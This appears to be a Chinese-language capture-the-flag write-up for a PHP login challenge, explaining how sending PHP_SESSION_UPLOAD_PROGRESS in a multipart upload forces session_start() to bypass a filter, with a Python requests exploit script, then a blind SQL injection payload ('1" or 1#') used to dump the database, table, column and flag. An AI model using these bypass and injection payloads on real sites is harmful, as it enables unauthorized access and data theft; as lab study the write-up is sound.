前言
关键字:[PHP_SESSION_UPLOAD_PROGRESS|if+substr盲注]
题解
源码都是写成一行的形式
and 前面都为假,后面就不执行
or 前面都为真,后面就不执行
(1 === 2) or (1 === 1) and die('no');//no
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
奇怪,照理说按这条代码逻辑,username=admin,不会返回Not allowed!
怪。
在phpsession里如果在php.ini中设置session.auto_start=On,那么PHP每次处理PHP文件的时候都会自动执行session_start(),但是session.auto_start默认为Off。与Session相关的另一个叫session.upload_progress.enabled,默认为On,在这个选项被打开的前提下我们在multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start()
那思路就是执行session_start()绕过index.php的过滤
用proxies
参数可设置代理,让bp抓python脚本的包。
import requests
url = "http://8498ac9c-f8d3-49e4-be94-e4e8fd4df4cc.node4.buuoj.cn:81/templates/login.php"
files = {"file": "123456789"}
a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},
cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'},
proxies={'http': "http://127.0.0.1:8080"})
print(a.text)
成功绕过了
碎碎念:太久没做sql注入都有丶忘记了,我要做的不是让username=一个正确的值而是让where
后面的条件为真或假,所以直接1" or 1#
不就完了,非得搁着想着如何凑出正确的username,这都没有任何过滤随便注,还搁着想半天,该打该打。
跑脚本完事
库
ptbctf
表
flag_tbl,ptbctf
flag_tbl
表的字段名
secret
数据
flag{477ab0cc-9af4-4fef-ae60-22739668b94c}